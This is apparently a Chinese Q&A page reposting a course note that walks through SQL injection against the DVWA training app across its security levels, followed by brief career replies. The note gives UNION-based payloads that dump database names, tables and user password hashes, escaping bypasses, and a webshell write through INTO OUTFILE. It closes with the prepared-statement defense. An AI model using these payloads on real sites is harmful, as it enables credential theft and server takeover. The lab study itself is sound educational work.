发布网友 发布时间:2022-04-20 02:58
共4个回答
懂视网 时间:2022-05-02 17:45
first_name, last_name FROM users WHERE user_id = ‘$id‘;这样我们就可以尝试用万能密码的方式看看能不能让后台执行恶意语句,我们试着输入
1 or 1024=1024 (数值型)
1‘ or ‘1024‘=‘1024 (字符型)
得到了所有用户的信息,这里的’1024‘=’1024加上后台的‘刚好使得where语句永远为True。
这里存在SQL注入漏洞,是不是可以进一步利用,获得更多的信息呢?
我们接下去想看看能不能知道用户表的字段数,试着输入:
1‘ or ‘1024‘=‘1024‘ order by 1 #
发现执行成功,这里的order是指按第一个字段排序,既然成功,那就说明第一个字段存在(好像是废话o(╯□╰)o)。不过我们可以利用同样的方法,order by 2,3,4,......直到N报错,就说明共有N-1个字段,我们发现当尝试到3时报错了,说明select语句只有2个字段。
仅此而已么?接下来我们更进一步,介绍union用法,输入:
1‘ union select 1,2 #
我们发现第二项里把1,2写入First name和Surname中。那有什么用呢?我们输入:
1‘ union select @@version,@@datadir #
发现居然拿到了SQL的版本和目录!同样的,更多信息都能被获取(用户和数据库名):
1‘ union select user(),database() #
有了数据库名,我们就能利用它来查询数据库中的所有表:
1‘ union select 1,table_name from information_schema.tables where table_schema=‘dvwa‘ #
说明数据库dvwa中一共有两个表,guestbook与users。
接下去我们看看users表里有些什么字段?担心字段太多,我们用group_concat拼接这些字段:
1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘ #
我们得到了users表的8个字段名,接下去能获得每个用户的密码么?试试:
1‘ union select user,password from users #
这样我们就获得了所有用户的用户名和密码,虽然是加密过的,但是只要放到www.cmd5.com中就能破解出来,例如“5f4dcc3b5aa765d61d8327deb882cf99”,解密结果为:“password”!
于是,通过一个简单的SQL漏洞,我们就拿到了所有用户的密码,这个危害性真是太大了。此外,我们还能使用load_file函数去获取服务器各种文件,以及写入webshell,是在是太可怕。
union select ‘<?php @eval($_GET[‘cmd‘];?)>‘,webshell into outfile ‘D:/....‘
我们总结以下SQL注入的常用手段:
3. 接下去我们把安全等级调为medium,发现输入框变成了下拉框。
但是一个小小的下拉框怎么能阻拦我们?我们前面已经多次用到TamperData或ZAP去修改请求报文,所以这不是个问题,具体不细说,可参考前面的文章。不过除了下拉框的限制,后台还利用mysql_real_escape_string函数对特殊符号x00, , ,,’,”,x1a进行转义:
$id = mysql_real_escape_string( $id );
但如果是数字型注入漏洞,这个过滤就没太大用处,那如果是像之前一样需要输入table_schema=‘dvwa‘时怎么办呢?可以简单的使用HackBar插件里的Encoding功能进行Hex编码,将dvwa编码为0x64767761,就可以不用带引号了。
4. 接下去我们看看high等级的SQL注入,发现让我们点击链接后在新窗口输入ID后进行修改。这主要为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
但是这并不妨碍我们利用union select注入,采用之前同样的方法,也没什么问题。查看后台源码,发现多了个LIMIT 1的限制,希望只输出一个结果,不过这可以用注释符号直接绕过。
$query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
5. 最后我们来看看impossible代码,发现后台进行了许多控制,包括输入必须是数字,使用预编译绑定变量,代码与数据分离,同时只有返回的查询结果数量为1时,才会成功输出,有效地防止SQL注入。
// Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ ); $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) {
6. SQL注入虽然威力很大,但是过程略繁琐,需要一遍遍的尝试,有没有什么工具能节省我们的劳动力?当然是有点,那就是神器sqlmap,只需几个命令,就能完成我们上述的所有操作。不过对于我们来说,了解工具背后的原理更重要,大家有兴趣可以下载sqlmap安装并试用,关于sqlmap之后有空再专门写篇文章介绍。
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。防护方法主要有以下几点:
【笔记】网易微专业-Web安全工程师-04.WEB安全实战-7.SQL回显注入
标签:页面 bind 连接 操作 漏洞 esc data 输出 password
热心网友 时间:2022-05-02 14:53
web安全工程师前景不错,不过入门门槛较高。热心网友 时间:2022-05-02 16:11
WEB安全工程师,第一次听说这样的职位,我猜测的话,可能是象慰迟恭、秦叔宝他们那样的职务吧====门神,吓鬼用的。热心网友 时间:2022-05-02 17:46
职位不错!